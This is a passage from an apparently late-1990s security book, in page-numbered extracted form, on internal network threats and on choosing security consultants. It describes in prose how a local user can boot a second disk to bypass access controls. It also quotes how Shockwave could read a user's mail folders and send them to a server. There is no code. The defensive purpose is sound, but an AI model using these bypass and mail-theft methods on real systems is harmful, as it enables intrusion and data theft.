internal applications. \nConversely, there are only so many vendors that design fully fledged server packages for \na given platform. In the UNIX community, this is especially so. How many HTTP servers \n" }, { "page_number": 437, "text": " \n \nare there for UNIX? Compare this to the number of text editors, CD-ROM utilities, and \nprinting tools. The latter exceed the former by a huge margin. \nThis is less so in the IBM-compatible and Macintosh communities. However, these \ncommunities have still other problems. For example, in Windows 95, a malicious cracker \ncould easily attack the underlying database system by removing just a few key files. So \nthere is no comfortable trade-off. \nGathering Information \nThe internal cracker need not concern himself with complex techniques, such as \nscanning, and tools. He simply needs to know the system and its holes. This is not a \ncomplicated matter. \nMuch depends upon the type of network he is attempting to crack. However, one thing \nremains universal, regardless of the platform with which he is working: known holes. To \nobtain known holes, the cracker may have to do either a little research or a lot (probably a \nlittle less now that this book exists). \nFor information about internal (and remote) holes, BUGTRAQ is a great source. The \ntechnical level of the information available there is generally very high. Moreover, there \nare often detailed analyses of tools and techniques for a wide variety of platforms. A \nperfect example is a September 1996 posting by a software engineer from Indiana. He \nbegins his posting as follows: \nI have successfully implemented this attack against a 3.12 server, the exploit is available on my \nweb page in the Novell section. A brief explanation of the attack follows... The NetWare login \nprotocol consists of three packet exchanges between the server and the client. First the client sends \na request for a login key, the server generates a random eight byte value and sends it to the client. \nThen the client sends a request for the user ID of the user logging in, the server looks up the user \nID in the bindery and sends it to the client... \n \nCross Reference: The previous paragraph is excerpted from \"An Attack Against the \nNetWare Login Protocol,\" by G. Miller. It can be found online at http://geek-\ngirl.com/bugtraq/1996_3/0530.html. \n \nThe posting continues for about three typewritten pages, complete with diagrams \nshowing the methods through which keys are exchanged on a Novell NetWare login. At \nthe conclusion of the posting, the author leaves his WWW page address, where one can \nfind other tools to test (or circumvent) network security. \n \nNOTE: Some (though not all) of Mr. Miller's tools are on the CD-ROM that \naccompanies this book. Two such tools are Miller's spoofing utility and his C source for \nattacking the Novell login procedure. \n \nWhat is even more extraordinary about BUGTRAQ is that readers post to it with detailed \ninformation about this or that hole. When a posting like the one referenced previously \nappears, it is immediately followed by commentary from other members of the list. Much \n" }, { "page_number": 438, "text": " \n \nof the time, other members take code, policy, or theory and test it out in their own \nenvironment. This yields even further information about the discussed attack. \nThe fact is, the majority of information posted to BUGTRAQ refers to secondary holes \nthat can only be exploited by local users. Tracking a few such advisories can be \ninstructive. Suppose we take HP-UX as an example; a search through BUGTRAQ \nlooking for pure security advisories or holes produces some very interesting information. \n \nNOTE: A pure advisory or hole is any top-level posting (a posting that is the first in a \nseries). It is quite literally the first mention of that particular hole. Subsequent threads can \nalso be significant, but here I am simply demonstrating the nature of the data, not the \nvalue of it. \n \nHave a look at a few listings: \n• \nDecember 1996: A CERT advisory is posted, reporting that the passwd utility in HP-UX is flawed \nand contains a buffer overflow weakness. The same advisory reports that two more programs \n(fpkg2swpkg and newgrp, respectively) contain similar flaws. The bottom line? \"Vulnerabilities \nmay allow local users to gain root privileges.\" \n• \nNovember 1996: CIAC Bulletin H-03 reports that several programs in HP-UX are run suid root. \n\"Using these vulnerabilities, any normal user can compromise security and get root access to a \nsystem or can destroy system owned files.\" \n• \nOctober 1996: An individual posts the names of 119 programs that also run suid root under HP-\nUX, suggesting that most of them are security risks (for example, if any of them have buffer \noverflows, they offer a local cracker root access). This posting can be found online at \nhttp://geek-girl.com/bugtraq/1996_4/0004.html. \n• \nOctober 1996: CIAC Bulletin G-45 reveals a weakness in HP-VUE, a windowing system in use on \nHP-UX. The result? \"By exploiting these vulnerabilities, a local user can obtain root access.\" This \nbulletin can be found online at http://geek-\ngirl.com/bugtraq/1996_3/0506.html. \nThese types of advisories are posted each day. Many of them contain explicit instructions \nfor testing your state of vulnerability. These instructions generally include source or shell \ncode. A local cracker need not be a genius to exploit this information. In fact, if a cracker \nis a subscriber of BUGTRAQ (and perhaps a dozen other public security mailing lists), \nhe doesn't even need to search for the information. As soon as a vulnerability hits the \nwire, it is automatically mailed out to all members of the list. If the cracker is such a \nmember, he gets this news hot off the press. So the information is there. This situation, \ntherefore, breaks the local crack into two categories or classifications: \n• \nThe crack of opportunity \n• \nThe average crack \nThe Crack of Opportunity \n" }, { "page_number": 439, "text": " \n \nAn opportunity crack is one that suddenly emerges. This is where the cracker has been \nmonitoring or at least receiving security advisories on a regular basis. He cranks up his \nbrowser one morning and a new vulnerability is available. This situation is very common. \nThe Average Crack \nIf an average crack occurs on your network, it is your fault and not the cracker's. That is \nbecause the average crack involves exploitation of known vulnerabilities. This brings us \nto an issue of some concern: Just what is a \"known vulnerability,\" and what is the time \nperiod after which your security personnel or system administrator should be aware of it? \nA known vulnerability is any vulnerability that has been papered. Technically, a \nvulnerability should not be deemed known until some authoritative source has \nacknowledged it. Examples of an authoritative source would be CERT, CIAC, or the \nvendor. However, you should not cast this in stone. Sometimes, vendors hide from the \ninevitable. They may know the hole exists, but may stall the publication of it until a fix \nhas been found. Even though such a hole has not been papered, it is an existing, known \nvulnerability. If it has been circulated within the cracker community, it makes little \ndifference whether the vendor is hiding or not. If crackers have started using the hole to \nexploit systems, and if the first case of this activity has been reported to a security group, \nthe hole is real and known. \nSituations like this do arise, and you can identify them. They usually surface as follows: \nAn individual system administrator whose site has been successfully attacked via the hole \nindependently posts to a security list or newsgroup. That post is vague about the \nparticulars but explains that the vendor was contacted. The post indicates that the vendor \nsaid it was working on a fix and an advisory. The individual system administrator then \nrequests information, such as whether anyone has had similar experiences. \nIn general, your system administrator or security personnel should know about a papered \nhole within one week of its discovery. That is what they are paid to do: Discover holes \nand the fixes for them. If your network gets cracked because of an age-old hole that has \nbeen papered for more than a year, you have a problem. \nExtremely Local Users: Hardware Considerations \nMany companies do not pay enough attention to hardware considerations. If you have \nmachines that are located in such a manner that local users can tamper with them, expect \ntrouble. Suppose you use a (fictional) operating system called the BOG operating system. \n(I hope no such operating system exists. If it does, I apologize. I have not heard of the \nBOG system, in any case.) Figure 23.1 shows the construction of this fictional operating \nsystem. \nFIGURE 23.1. \nThe fictional BOG system network. \nThis figure shows a three-station network consisting of a server and two workstations. \nSuppose the BOG operating system has strong access control; the access control is so \nstrong that the user on Workstation 2 (who has high access privileges) has files located \n" }, { "page_number": 440, "text": " \n \non the drive of Workstation 1. These files can be accessed only by Workstation 2 or root. \nIn other words, a portion of Workstation 1's drive is owned by Workstation 2 and root. \nSay Workstation 1 operates on a SCSI drive that is attached to an adapter (or even on \nboard, if you like). The system administrator has installed software that prevents any user \nfrom booting from a floppy disk. The SCSI disk is attached to the desk via a locking \ndevice (these are common. I see a lot of them on Mac networks). The BOG operating \nsystem boots directly to a login prompt, and the local single user password has been \ndisabled. It's a pretty tight setup. \nNow suppose Workstation 1 is located in a room on its own. Well, that's it then; all the \nsecurity measures are for naught. The user can tamper with the equipment without fear of \nbeing discovered. As long as a user can chain an additional disk to the SCSI adapter, he \ncan circumvent this security. He may not be able to do it using a disk loaded with the \nBOG operating system, though; he may have to use another. To demonstrate, assume \nWorkstation 1 is running Windows NT. Assume the user brings in a SCSI disk loaded \nwith Linux and changes the SCSI ID numbers so the adapter catches the Linux disk first. \nNo further effort need be made. The Linux disk will boot to a login prompt, and the user \nlogs in as root. At the time of boot, Linux will catch the other partition. The user need \nonly mount the NT partition in the local (Linux) directory of his choice. The Linux user \nis root, after all. He can do anything. A True Story: The system administrator for a \nWindows for Workgroups network with third-party access control installed was baffled \nby changes in the file system. He had a logging utility, but the logs showed very little \nactivity that could be deemed suspicious. After a few weeks, the system administrator \nplaced a bogus database file in a directory and waited for someone to take the bait. The \ndatabase file had a password to another portion of the network, where a few old, tired \nNetWare legacy machines were located. On the Novell box in question, the system \nadministrator logged heavily. Evidence surfaced that someone had indeed logged in using \nthe bait ID, but for whatever reason, the system administrator could not determine the \nidentity of the user. \nHere comes the good part: I get called in on a Sunday morning to take a look. After hours \nof trying to determine the problem, I discovered a hidden directory on one machine. In \nthat directory were several files, including gzip.exe and rawrite, and a hidden batch \nfile. In the batch file were commands to load a Linux file system. After seeing this, I \nrebooted the machine and went into CMOS. Then, I proceeded to kick myself several \ntimes. CMOS reported a second disk. I rebooted again and ran the hidden batch file. This \nimmediately caused Linux to begin loading on the second disk. Apparently, the user had \nfound adequate time to lift the cover and install a second IDE hard disk drive. Naturally, \nWindows didn't see the second disk because the file system was exotic (at least, exotic to \nWindows). During lunch hours (or other available times), the user would load Linux and \nroam a while. Bizarre. \nFor those of you who care: The employee was using a Slackware version of Linux. That \nfile system was crawling with many different files plundered from the network. You may \nwondering how we, without having root, managed to peruse this disk. Make a note: \nAlways carry boot disks. They are the modern equivalent of a bazooka. Any type of \nsoftware that will circumvent the security of your system can effectively be put on or \n" }, { "page_number": 441, "text": " \n \nwithin proximity of your system in a manner sufficient to produce that breach. For \nexample, suppose you have removed the floppy disk drive so that no one can load \nsoftware. Safe or not? No. If your operating system carries native drivers for multiple \ndevices, you have a problem. Perhaps another SCSI drive can be introduced. Perhaps a \nZip drive can be introduced. \n \nTIP: On networks that use some form of DOS, Plan 9 will soon become a likely hidden \noperating system. It is especially useful because the basic distribution is so small. It \nwould also be popular because the system is exotic and not easily manipulated by a \nneophyte, even if he stumbles across it. Most PC users wouldn't know what they were \nlooking at. \nHowever, for a cracker to implement this, he must either introduce a \nsecond disk or he must introduce Plan 9 when the workstation is \nestablished (for example, when the DOS installation occurs). The only \nother possibility is if he has adequate space to transfer the contents of the \ndrive temporarily while he re-partitions and installs Plan 9. Depending on \nthe speed of the network, drives, and processor, this could be done in a \nreasonable amount of time. Detecting this could be a problem if the \ncracker is skilled. The most reliable way would be to check the partition \ntable or compare the reported size of the disk with the actual size. \n \nEven if the native drivers do not exist, as long as you offer your users access to the \nInternet, they can get that software in. For example, many systems may not natively \nsupport a Zip interface, but iomega has a site with drives for all sorts of systems. Here, \neven the existence of a serial port is a security risk. \nAccess to the Internet for local users presents such a wide range of security problems, it \nwould be difficult to fix on one particular thing. Security in this situation is a two-way \nstreet. For example, you don't necessarily have to have your network compromised. It \ncould be your hard work instead. Here is a post to the mailing list maintained at \nfirewalls@GreatCircle.COM. The author was a system administrator responsible for \ninformation security, and the date of the post was Friday, March 28, 1997. The author \nwrites: \nI'm up through the five month statistics on what was caught outbound via the firewall...over \n400,000 lines of proprietary source code for one thing. All the people had legitimate access \ninternally. It makes me feel (almost) that all the regular UNIX security work I've done had no \nmeaning. Who cares if they break root if distributed thieves and idiots simply email out what they \nalready have access to? \nFor crackers, that is the beauty of the Internet. The best way to get through a firewall is to \nhave someone inside send out the necessary information. I know individuals who have \ntaken passwords and other information from companies this way. Typically, one member \ngets a contract (or a temp job) working inside. He shoots out information that could not \nbe easily acquired in any other way through the firewall. One group I know did it to \nPacific Bell. Another did it to Chevron. These are not your average Mom and Pop outfits. \nOne thing that can at least stop these internal thieves from moving your valuable data out \nis Secure Computing Corporation's Secure Network Server (SNS). This National Security \n" }, { "page_number": 442, "text": " \n \nAgency-approved module filters e-mail. The system employs proprietary technology and, \naccording to documentation provided by Secure Computing Corporation, the system \n...provides Multilevel Security (MLS) by allowing the exchange of SBU or unclassified \ninformation between Secret networks and SBU or Unclassified networks. The SNS customized \nfiltering and FORTEZZA digital signature capability ensures only authorized e-mail is released \nfrom the protected environment. \n \nCross Reference: Check out SNS online at \nhttp://www.nsa.gov:8080/programs/missi/scc_sns.html. It's \nawesome. \n \nIndeed, there are problems even if your local users are not actively trying to crack your \nsystem. They may be cruising the Net as part of their job, not realizing that some valuable \nor proprietary information has inadvertently slipped out of your network. One example is \nthe recent Shockwave controversy. It was recently learned that Shockwave can be used to \nbreach the security of networks cruising a page: \nA developer can use Shockwave to access the user's Netscape email folders. This is done \nassuming the name and path to the mailbox on the users hard drive. For example names such as: \nInbox, Outbox, Sent and Trash are all default names for mail folders. The default path to the \n`Inbox' on Win 95/NT would be: `C:/Program Files/Netscape/Navigator/Mail/Inbox'. Then the \ndeveloper can use the Shockwave command GETNETTEXT to call Navigator to query the email \nfolder for an email message. The results of this call can then be fed into a variable, and later \nprocessed and sent to a server. \n \nCross Reference: The previous paragraph is excerpted from an article by David de Vitry, \ntitled \"Shockwave Can Read User's Email.\" It was originally posted online at \nhttp://www.webcomics.com/shockwave/, and can also be found at \nhttp://www.ntsecurity.net/. \n \nRemote Local Users \nA remote local user is a user who possesses an account on your system but has no \nphysical access to it. In some respect, we are all remote local users because we have \naccounts on boxes located within the offices of our ISPs. That is, we are local because we \nare logged to the system and have a user ID and a password, but we are physically remote \nto the box itself. \nThis is now becoming more common on private networks and is no longer simply an \nissue for ISPs and software development firms. People all over the country (even the \nworld) are now doing much of their work at home or on the road. I, for one, haven't seen \nthe inside of an office for over two years. Indeed, this entire book was authored, \nsubmitted, and edited without me ever meeting my editors; all of it was done over the \nInternet. Large firms now have their employees telecommute on a regular basis. AT&T, \nfor example, reported that in 1994, over 22,500 of its employees worked at home. \nA recent report titled \"Two Years Later A Report on the State of Telecommuting\" was \nreleased on the subject. A sample of at least 13 Fortune 500 companies revealed that \nformal telecommuting agreements between firms and employees were exceedingly \ncommon: \n" }, { "page_number": 443, "text": " \n \n11 of the 13 companies have or are in the process of implementing formal telecommuting \nprograms. Two companies are conducting pilots while five companies have programs that have \nbeen in place four years or longer. \n \nCross Reference: \"Two Years Later A Report on the State of Telecommuting\" (1996, \nSmart Valley, Inc.) can be found online at \nhttp://www.svi.org/PROJECTS/TCOMMUTE/telrpt.pdf. \n \nMost of these telecommuters are logging into some type of server. These are what I \nwould characterize as remote local users. Naturally, these users will probably have less \npower at a remote terminal than they would at their own. However, this is not always the \ncase. Much depends on the software they are using to connect. If the software is identical \nto what they would be using without telecommuting, then yes, they will have essentially \nthe same power as they would if they were sitting right in front of the server at the office. \nThe Process \nWhether a user is a local user or a remote local user, his basic attack will be pretty much \nthe same. The only tactical advantage that a true local user has is that he can manipulate \nhardware and perhaps gain access to certain tools that cannot be used remotely. \nExamples of such tools include any X applications. Although X applications can be \nmaintained nicely over the Internet, this is rarely done in practice. First, it is a security \nrisk; second, the client's transmission speed is usually insufficient (if the remote user is \ncruising with a 28.8 modem). The same can be said for running Windows or Windows \nNT over the Internet. Unless you have at least an ISDN at both ends, it's not worth the \ntrouble. True, some applications--notably those designed by Microsoft--only move the \nunderlying data as opposed to all that graphical material, but the larger portion of \napplications aren't designed that way. \n \nNOTE: Note that a user's remoteness in no way alters his capability to use development \ntools that support a CLI. \n \nMuch depends on your topology and what the cracker is after. There are certain situations \nin which even the cracker's user status may not assist him in taking a direct route (a direct \nroute being that of logging into his workstation at work and marching off from that point \nthroughout the network). In these instances, even a semi-privileged user may have to \ncome in using the same techniques as an attacker without an account. This typically \noccurs when the cracker is seeking access to a network segment in which he does not \nbelong. \nNo matter what platform you use, the only cure for these types of intrusions is to log \nheavily. Because these users have at least some level of access, there is a good chance \nthat you might not be able to easily discern an attack. Remember what I said earlier: They \nhave a reason and a right to be there. The following sections introduce some tools that \nmight assist you in preventing (or at worst, recording) an internal intrusion. \nThe Kane Security Monitor \n" }, { "page_number": 444, "text": " \n \nThe Kane Security Monitor is available for Windows NT, and a sister application is \navailable for Novell NetWare. The Kane system is extremely flexible, offering system \nadministrators the ability to define their own security events. That is, you can assign \nsignificance to a wide range of events that might occur that, in your opinion, constitute a \nsecurity breach. (This is in some ways the equivalent of the access control alarm model \navailable in VMS.) As reported by Intrusion Detection, Inc., the company that developed \nthe software: \nA network administrator or security officer can easily set a system warning when security events \noccur. For example, the administrator might want to be notified if a new administrative account is \ncreated or deleted. Or if a user ID turned off the audit trail, reset a password or accessed the CEO's \ndesktop and copied several sensitive files. \n \nCross Reference: Find the paper from which the preceding paragraph is excerpted at \nhttp://www.intrusion.com/ksm.htm. \n \nA fully functional trial version is available at \n• \nftp://ftp.intrusion.com/pub/ntev402.exe \nNetXRay Protocol Analyzer and Network Monitor Software \nUsing Windows 95, are we? Try NetXRay by CINCO. This truly is a well-coded \npackage. It allows monitoring of multiple network segments, and supports multiple \ninstances of the monitor and capture (and analysis) of just about any type of packet you \ncan dream of. What's more, you can take it for a test drive (but it will only record a \nhandful of packets; it's only a demo). To do so, point your browser here: \n• \nhttp://www.cinco.com/register.html \nLANWatch Network Analyzer for DOS \nLANWatch Network Analyzer for DOS is a well-coded utility that provides over 400 \nseparate filters for LAN traffic. Moreover, LANWatch screens provide color coding of all \nevents and statistics. It has facilities for ongoing, real-time monitoring as well as \nsnapshots for close examination of a particular event. It also runs on very, very low \noverhead. Requirements are DOS 3.3 and 512KB. This is an ideal tool for DOS-based \nnetwork management or for anyone trying to code a utility to run over a network. If you \nare writing a custom network application for a DOS network, you can verify the efficacy \nof the application using LANWatch by watching your code in action. Information on \nLANWatch can be obtained here: \n• \nhttp://www.guesswork.com/lwhome.html \ninftp.pl \ninftp.pl is a Perl script that records incoming FTP sessions. It was written by Stephen \nNorthcutt, a system administrator on a military network. Northcutt is the developer of a \nfew finely coded utilities. This utility (perhaps used in conjunction with another from \nNorthcutt, called inpattern.pl) allows you to incisively log FTP traffic. The combination \n" }, { "page_number": 445, "text": " \n \nof the two utilities results in logs that trap specific events or patterns. Both are available \nat the location listed here, as is a document authored by Northcutt titled \"What Do \nCastles Have in Common with Corporate Networks?\" The document offers a brief (but \nsurprisingly clear) treatment of firewalls. Northcutt provides some good links in the \nmeantime. The scripts are here: \n• \nhttp://pokey.nswc.navy.mil/Docs/intrusion.html \nSWATCH \nSWATCH (the name is derived from the term system watcher) is a popular utility created \nby Stephen Hansen and Todd Atkins at Stanford. To get a closer look at what a \nSWATCH record looks like, you should go to Stephen Northcutt's site. He has a log \nposted here: \n• \nhttp://pokey.nswc.navy.mil/SRN/intru_example.html \nThe cool thing about SWATCH is that it can handle many systems. It is a quick and \npainless way to integrate the merging of data from the syslog utilities of several \nmachines. SWATCH is available here: \n• \nftp://coast.cs.purdue.edu/pub/tools/unix/swatch/ \nNOCOL Network Operations Center OnLine \nNOCOL, which is for UNIX systems, monitors traffic on the network. It is a big package \nand has many important features. It uses a standard Curses-based interface, but has \nsupport for additional Perl modules written by the user. (It even has a Perl interface. \nAppropriately enough, it is called PerlNOCOL.) Authored by Vikas Aggarwal and \nreleased in late 1994, NOCOL is not something you can set up in 10 minutes. This is a \ncomplex and complete package, with separate monitors for each different interface. \nCheck it out here: \n• \nftp://ftp.navya.com/pub/vikas/nocol.tar.gz \nNeTraMet \nNeTraMet is an interesting utility. It is a bit dated, but it works nicely and supports both \nPCs and SunOS. The distribution comes with source for both SunOS and IRIX, as well as \npre-built executables for DOS. You can also obtain the source for the PC version if \ndesired. (This is a rules-based filter and analysis tool. Be forewarned, however, that the \ndocumentation is in PostScript. Get an interpreter.) NeTraMet is here: \n• \nftp://ftp.fc.ul.pt/pub/networking/snmp/NeTraMet/ \nSummary \nInternal network breaches are far more common than you think. The problem is, they are \nnot reported as fastidiously as other types of cracking activity. This is due primarily to the \n" }, { "page_number": 446, "text": " \n \nneed for corporate secrecy. Many in-house crackers are caught and simply discharged \nwith little fanfare. \nIn past years, internal network security has been a concern primarily for large institutions \nor corporations. However, the rise of the personal computer changed that climate. Today, \nmost businesses have some form of network. Thus, even if you maintain a small \ncompany, you may want to reevaluate your computer security policies. Disgruntled \nemployees account for a high percentage of internal damage and theft of proprietary data. \nYou should have some form of protection and--if possible--a disaster recovery plan. \nResources \nA Guide to Understanding Data Remanence in Automated Information Systems. \nNCSC-TG-025 Library No. 5-236,082. Version 2. \n• \nhttp://bilbo.isu.edu/security/isl/drinais.html \nErased Files Often Aren't. M.R. Anderson. Government Technology Magazine, \nJanuary, 1997. \n• \nhttp://www.govtech.net/1997/gt/jan/jan-justice&technology2/jan-\njustice&technology2.shtm \nComputer Crime: Tips on Securing and Recovering Electronic Data. Richard K. \nMoher. Law Journal Extra and Law Technology Product News, originally published by \nNew York Law Publishing Company. \n• \nhttp://www.ljextra.com/securitynet/articles/121796s2.html \nCIAC Bulletin G-45: Vulnerability in HP VUE. \n• \nhttp://geek-girl.com/bugtraq/1996_3/0506.html \nSome Remarks on Protecting Weak Secrets and Poorly Chosen Keys from Guessing \nAttacks. Gene Tsudik and Els Van Herreweghen. \n• \nhttp://www.zurich.ibm.com/Technology/Security/publications/1993/tv\n93a.ps.Z \nCERT Guidelines for Responding to a Root Compromise on a UNIX System. \nVersion 2.0, March 1996. \n• \nhttp://www.sevenlocks.com/Root_com.htm \nRunning a Secure Server. Lincoln D. Stein. Whitehead Institute/MIT Center for \nGenome Research. \n• \nhttp://www.sevenlocks.com/secservr.htm \nSecuring Internet Information Servers. CIAC 2308. \n• \nhttp://ciac.llnl.gov/ciac/documents/ciac2308.html \n" }, { "page_number": 447, "text": " \n \nUNIX Incident Guide How to Detect an Intrusion. CIAC-2305. \n• \nhttp://ciac.llnl.gov/ciac/documents/CIAC-\n2305_UNIX_Incident_Guide_How_to_Detect_an_Intrusion.pdf \nCERT(sm) Coordination Center Generic Security Information. January 1995. \n• \nhttp://www.sevenlocks.com/CERTGenericInfo.htm \nImplementation of a Discretionary Access Control Model for Script-Based Systems. \nT. Jaeger and A. Prakash. 8th IEEE Computer Security Foundations Workshop, 1995. \n• \nftp://ftp.eecs.umich.edu/people/aprakash/collaboration/papers/csfw\n95.ps.Z \nThe Distributed Compartment Model for Resource Management and Access \nControl Technical Report. Steven J. Greenwald and Richard E. Newman-Wolfe. \nUniversity of Florida, Number TR94-035, 1994. \n• \nftp://ftp.cis.ufl.edu/cis/tech-reports/tr94/tr94-035.ps.Z \nAn Access Model for Shared Interfaces. G. Smith and T. Rodden. Research report. \nLancaster University, Computing Department, Number CSCW/8/1994, 1994. \n• \nhttp://www.lpac.ac.uk/SEL-HPC/Articles/GeneratedHtml/hci.cscw.html \n" }, { "page_number": 448, "text": " \n \n24 \nSecurity Concepts \nOn a quiet fall evening not so long ago, the Internet was forever changed. That change \ntook only minutes. If you have been reading this book from cover to cover, you will \nremember the date in question. However, for readers absorbing this book selectively, I \nwill reiterate. That date was November 2, 1988. Shortly before dusk, a worm was \nunleashed on the network. Within hours, this worm incapacitated many machines \n(reportedly over 1,000 of them) and interrupted or otherwise degraded the performance of \nthousands more. (Many of these machines or networks were key research centers \nengaged in defense-related study.) At the exact moment that the worm was released, the \nhistory and future of the Internet changed forever. No one knew it at the time, because it \nwould take a full year in the aftermath to assess what an enormous impact the incident \nhad. But be assured of this: The change occurred in the same instant that Morris released \nhis code to the Network. \nSince that time, security has gained almost a cult status. Individuals I know who have \nnever had a clue about the subject are suddenly diving for security information. You hear \nit in restaurants all the time. As you are eating your lunch, the buzz floats overhead: \nfirewall, router, packet filtering, e-mail bombing, hackers, crackers...the list is long \nindeed. (This book would never have been written if the climate weren't just so.) By now, \nmost people know that the Internet is insecure, but few know exactly why. Not \nsurprisingly, those very same people are concerned, because most of them intend to \nimplement some form of commerce on the Internet. It is within this climate that Internet \nVoodoo has arisen, conjured by marketeers from the dark chaos that looms over the Net \nand its commercial future. \nMarketing folks capitalize on ignorance--that's a fact. I know resellers today who sell \n8MB SIMMs for $180 and get away with it. However, while technical consultants do \noften overcharge their customers, there is probably no area where this activity is more \nprominent than in the security field. This should be no surprise; security is an obscure \nsubject. Customers are not in a position to argue about prices, techniques, and so forth \nbecause they know nothing about the subject. This is the current climate, which offers \nunscrupulous individuals a chance to rake in the dough. (And they are, at an alarming \nrate.) \nThe purpose of this chapter, then, is to offer advice for individuals and small businesses. I \ncannot guarantee that this is the best advice, but I can guarantee that it is from experience. \nNaturally, everyone's experience is different, but I believe that I am reasonably qualified \nto offer some insight into the subject. That said, let's begin. \nHow Security Concepts Can Influence Your Choices \nFirst, I want to quickly examine security concepts and how they will influence your \nchoices of a security consultant. To begin with, know this: \"There is nothing new under \n" }, { "page_number": 449, "text": " \n \nthe sun.\" This quote is a brilliant statement made by William Shakespeare. It is brilliant \nbecause, in literature that preceded his own, for thousands of years, the statement had \nalready been made. Therefore, he used a redundancy to articulate redundancy. How does \nthis relate to Internet security? Read on. \nThe truth is, TCP/IP has been around for a long, long time. For example, as I reported in \nChapter 18, \"Novell,\" NetWare had fully functional TCP/IP built into its operating \nsystem back in 1991. UNIX has had it for far longer. So there is no real problem here. \nThe knowledge is available out there in the void. \nThe greater majority of security breaches stem from human error. (That is because \ncrackers with limited knowledge can easily cut deep into systems that are erroneously \nconfigured. On more carefully configured networks, 90 percent of these self-proclaimed \n\"super crackers\" couldn't get the time of day from their target.) \nThese human errors generally occur from lack of experience. The techniques to protect an \nInternet server have not significantly changed over the past few years. If a system \nadministrator or security administrator fails to catch this or that hole, he needs to bone up \non his advisories. \n \nNOTE: I will readily admit that some techniques have been improved, largely by the \nacademic community and not so much by commercial vendors. Commercial vendors are \nusually slightly behind the academic communities, perhaps by a few months or so. \nExamples of this might include the development of automated tools to screen your \nsystem for known security holes. Many of these are written by students or by freelance \nsoftware developers. These tools certainly streamline the process of checking for holes, \nbut the holes are commonly known to any security administrator worth his salt. \n \nSo, before you haul off and spend thousands (or even tens of thousands) of dollars on a \nsecurity consult, there are some things that you should consider. Here are a couple test \nquestions: \n• \nSuppose you establish a sacrificial machine, a Macintosh running WebStar and no other TCP/IP \nservers. The machine is isolated from your network, it has no valuable data on it, and basically, it \nhas no inroad to your internal network. Your network does not run TCP/IP, and none of the \npublicly accessible nodes perform IP forwarding in any case. Would you pay a security consultant \nto scan that Web server box? (Instead of either having your system administrator scan it or not \nscan it at all.) If so, why? \n• \nYou want to co-locate a box at an ISP. You normally work with Microsoft Windows NT (and so \ndoes your internal system administrator). Nevertheless, the ISP is trying to convince you to use a \nSPARC 20 and is willing to sell you one (or lease you one) for fair market value. Do you do it? If \nso, why? \nThe correct answer to both of these questions is \"probably not.\" Here are the reasons \nwhy: \n• \nScenario 1: What would the consultant be scanning for? Because the machine is running no other \nservices but HTTP over WebStar, most modern scanners would render a laundry list of \n\"connection refused\" and \"server not reachable\" messages. In other words, the scan would be a \ncomplete waste of time and money because no services exist on the machine. Scanners like those \n" }, { "page_number": 450, "text": " \n \ndiscussed in Chapter 9, \"Scanners,\" are used only to attack full-fledged TCP/IP implementations, \nwhere services (including NFS and other protocols) are either available and misconfigured or \navailable and not configured at all. The question is, would you or your internal system \nadministrator know this? If not, you might get taken. \n• \nScenario 2: Why would you agree to place your Web server in the hands of a company on which \nyou will remain totally dependent? If neither you nor your staff knows UNIX, insist on an NT box. \nIf the provider balks, find another. Commonly, the ISP staff might forward the explanation that \nthey feel UNIX is more secure and they therefore cannot tolerate an NT box on their Ethernet. If \nyou agree to their terms, you will either be dependent upon them for all maintenance and \nprogramming or you will have to pay good money to train your system administrator in UNIX. \nThere are literally hundreds of such scenarios. In each, there is an opportunity for you to \nget hustled. A security consult is not to be taken lightly. Neither is the management of \nyour co-located box. Remember that your Web server (wherever it might be located) is \nsomething that can be viewed (and attacked) by the entire world. \nBefore you can make an educated choice of a security consultant, you need to be familiar \nwith basic security principles. That's what this chapter is really all about. \nAbout Remote Security Consults \nThere is a new phenomenon emerging on the Internet. Security consults are now being \ndone (although perhaps not in great number) from remote locations. This is where \nsomeone in the same city (or another city) tests, defines, and ultimately implements your \nsecurity from the outside. In other words, it is done from a location other than your \noffices or home. I have a couple points to make regarding this type of procedure: \n• \nScan or penetration testing is commonly done from a remote location. The purpose of penetration \ntesting (at the end of the day) is to simulate a real-time attack from the void. There is no \nreplacement for doing this from a remote location. In this limited area of concern, at least, analysis \nfrom a remote location is warranted and reasonable. \n• \nAll other forms of security testing and implementation should be done onsite. Implementing \nsecurity from a remote location is not a secure method and may result in security breaches. As \nmuch as the idea may seem attractive to you, I would strongly advise against having any firm or \nindividual handle your security from a remote location. If your network is large and is meant to be \nas secure as possible, even the existence of a privileged user who can gain remote access to do \nmaintenance work is a security risk. (For example, why would one cut a hole through a firewall \njust for the convenience of off-site work?) \n \nNOTE: As an example, an individual on the East Coast recently posted an article in \nUsenet requesting bids on a security consult. I contacted that party to discuss the matter, \nmainly out of curiosity. Within three hours, the party forwarded to me his topology, \nidentifying which machines had firewalls running, what machines were running IP \nforwarding, and so forth. \nGranted, this individual was simply looking for bids, but he forwarded this \ntype of sensitive information to me, an individual he had neither seen nor \nheard of before. Moreover, if he had done more research, he would have \ndetermined that my real name was unobtainable from either my e-mail \n" }, { "page_number": 451, "text": " \n \naddress, my Web page, or even my provider. Were it not for the fact that I \nwas on great terms with my then-current provider, he [the provider] would \nnot even know my name. So, the person on the East Coast forwarded \nextremely sensitive information to an unknown source--information that \ncould have resulted in the compromise of his network. \n \nSo, point one is this: Other than penetration testing, all active, hands-on security \nprocedures should be undertaken at your place of business or wherever the network is \nlocated. Do not forward information to a potential consultant over the Internet, do not \nhire someone sight unseen, and finally, do not contract a consultant whose expertise \ncannot be in some way verified. \nSecurity Through Obscurity \nIf a security consultant explains to you (or your system administration staff) that one or \ntwo holes do exist but that it is extremely unlikely that they can be exploited, carefully \nconsider his explanation. Interrogate him as to what \"extremely unlikely\" means and why \nhe thinks the contingency is just so. \nIf his explanation is that the level of technical expertise required is highly advanced, this \nis still not a valid reason to let it slide, particularly if there are currently no known \nsolutions to the problem. If there are options, take them. Never assume (or allow a \nconsultant to assume) that because a hole is obscure or difficult to exploit that it is okay \nto allow that hole to exist. \nOnly several months ago, it was theorized that a Java applet could not access a client's \nhard disk drive. That has since been proven to be false. The argument initially supporting \nthe \"impossibility\" of the task was this: The programming skill required was not typically \na level attained by most crackers. That was patently incorrect. Crackers spend many \nhours trying to determine new holes (or new ways of implementing old ones). With the \nintroduction of new technologies, such as Java and ActiveX, there is no telling how far a \ncracker could take a certain technique. \nSecurity through obscurity was once a sound philosophy. Many years ago, when the \naverage computer user had little knowledge of his own operating system (let alone \nknowledge of multiple operating systems), the security-through-obscurity approach \ntended to work out. Things were more or less managed on a need-to-know basis. The \nproblem with security through obscurity, however, becomes more obvious on closer \nexamination. It breaks down to matters of 